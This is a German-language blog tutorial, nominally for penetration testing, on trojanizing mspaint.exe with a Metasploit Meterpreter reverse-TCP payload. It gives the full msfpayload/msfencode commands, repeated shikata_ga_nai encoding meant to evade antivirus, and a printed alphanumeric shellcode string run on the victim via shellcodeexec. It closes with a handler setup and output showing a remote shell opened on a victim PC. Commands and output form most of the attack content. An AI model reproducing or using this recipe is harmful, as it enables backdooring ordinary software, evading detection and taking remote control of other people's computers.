Mittels msfencode Software Schadcode unterjubeln

Sollte es im Rahmen eines Penetrationstests dazu kommen, dass der Angreifer Zugriff auf Client-PCs durch Userinteraktion bekommen möchte, bietet sich hierfür die encode-Funktion des Metasploit Frameworks an.

Mit Metasploit ist es möglich, einem bestehenden Programm Schadcode mitzugeben und ausführen zu lassen. In diesem Beispiel benutze ich einfach das Malprogramm mspaint (<windowsdir>\system32\mspaint.exe), welches wir modifizieren wollen.

Der Angreifer hat die IP 192.168.2.63 und der Opfer-PC ist unter 192.168.2.53 zu erreichen.

Im ersten Schritt setzen wir für den zu benutzenden Payload Meterpreter die entsprechenden Parameter:

  • LHOST beschreibt die Angreifer-IP, zu der sich das Opfer verbinden soll
  • LPORT ist hier der Port 443, der in der Regel in allen Firewalls freigeschaltet ist

Als Encoder wird „shikata ga nai“ benutzt, um möglichst wenig Aufsehen zu erregen. Lässt man den Encoder häufig – in diesem Fall 100 Mal – über den Payload laufen, minimiert man die Wahrscheinlichkeit, von einem Antvirenprogramm entdeckt zu werden.

Der zu  benutzende Befehl sieht nun folgendermaßen aus:

root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.63 LPORT=443 EXITFUNC=THREAD X | msfencode -d /root/Desktop -x mspaint.exe -o /root/Desktop/mspaint_bad.exe -e x86/shikata_ga_nai -c 100 -t exe

Startet das Opfer nun diese modifizierte Version von mspaint, stellt es eine Verbindung zum Angreifer auf Port 443 her.

Leider funktioniert diese Art der Angriffe mit der Einführung von DEP nicht mehr, wodurch das Ausführen von eigenem Code auf fremden Rechnern erschwert wird.

Auf github gibt es ein kleines Stück Software, was dieses Problem behebt, als Parameter den kodierten Shellcode entgegen nimmt und diesen ausführt: shellcodeexec

Das Generieren des Shellcodes lässt sich so bewerkstelligen:

root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.63 LPORT=443 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
[*] x86/alpha_mixed succeeded with size 634 (iteration=1)

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIkLjHlIwpUPuPe0NiXeTqjrsTNkv2DpLK2rtLlKcbdTLK3B184ONWPJ164qyoDqYPllelpa3LC2fLUpkqzotM6aJgzBHpaBQGlKcbdPlKQRulWqxPLK700xouyPQdrj6a8PpPlKqXVxlKqH10EQ9CJCul0InkUdNkWqIFDqkOeayPnL9Q8O6mC1iWVXKP2UKDC3cMkH5kcMtdt5irpXLKsh14s1xSe6nk4L0KlKv8wlc1N3lKUTNkc1JpMYRdVD7TaKqKParybzv1yoKP2xCoBznkvrXkNf3m1xFSdrwpUP1xBWpsebCoCd0h2l3GVF4GYoHU88NpUQ30UP5yjdv40PsXeyK0BK30KOKeRp0PRp0Pcpv0qPPP1xizFoiOipYoyElWRJdE3XIPNHVb7OphGr7pUQOKmYxfCZTPCfRwCXOiMuadu19oN5MUiPd4dLio0Nvh45zLRHxpX5I2CfyoYERJEPQzvdPVBwE8WrhY9XqOIo9ENkfVsZCp58s0Vpc0wpSfpjc058ShnDv3ZEIozumC0SCZS0PVccf73XdB8YkxaOio8US1O3DiXFMU9fCEzLZcAAroot@kali:~#

Nun muss man allerdings das Programm shellcodeexec inklusive dieses Parameters auf dem Opfer-PC ausführen:

C:\Users\Desktop\shellcodeexec.x32.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIkLjHlIwpUPuPe0NiXeTqjrsTNkv2DpLK2rtLlKcbdTLK3B184ONWPJ164qyoDqYPllelpa3LC2fLUpkqzotM6aJgzBHpaBQGlKcbdPlKQRulWqxPLK700xouyPQdrj6a8PpPlKqXVxlKqH10EQ9CJCul0InkUdNkWqIFDqkOeayPnL9Q8O6mC1iWVXKP2UKDC3cMkH5kcMtdt5irpXLKsh14s1xSe6nk4L0KlKv8wlc1N3lKUTNkc1JpMYRdVD7TaKqKParybzv1yoKP2xCoBznkvrXkNf3m1xFSdrwpUP1xBWpsebCoCd0h2l3GVF4GYoHU88NpUQ30UP5yjdv40PsXeyK0BK30KOKeRp0PRp0Pcpv0qPPP1xizFoiOipYoyElWRJdE3XIPNHVb7OphGr7pUQOKmYxfCZTPCfRwCXOiMuadu19oN5MUiPd4dLio0Nvh45zLRHxpX5I2CfyoYERJEPQzvdPVBwE8WrhY9XqOIo9ENkfVsZCp58s0Vpc0wpSfpjc058ShnDv3ZEIozumC0SCZS0PVccf73XdB8YkxaOio8US1O3DiXFMU9fCEzLZcAA

Inwiefern das Ausführen eines „unbekannten“ Programmes auf dem Opfer-PC nun das Eindringen vereinfacht, sei an dieser Stelle mal dahingestellt. Anwendungsszenarien gibt es hierfür bestimmt.

Egal für welche Möglichkeit sich der Angreifer entscheidet. Um die Verbindungen entgegen zu nehmen, reicht ein einfaches Kommando.

root@kali:~# msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=THREAD LPORT=443 LHOST=192.168.2.63 E
[*] Initializing modules...
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => THREAD
LPORT => 443
LHOST => 192.168.2.63
[*] Started reverse handler on 192.168.2.63:443
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.2.53
[*] Meterpreter session 1 opened (192.168.2.63:443 -> 192.168.2.53:49280) at 2013-12-06 18:29:13 +0100

meterpreter > getuid
Server username: victim-pc\user
meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.2.53 - Meterpreter session 1 closed.  Reason: User exit

root@kali:~#

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.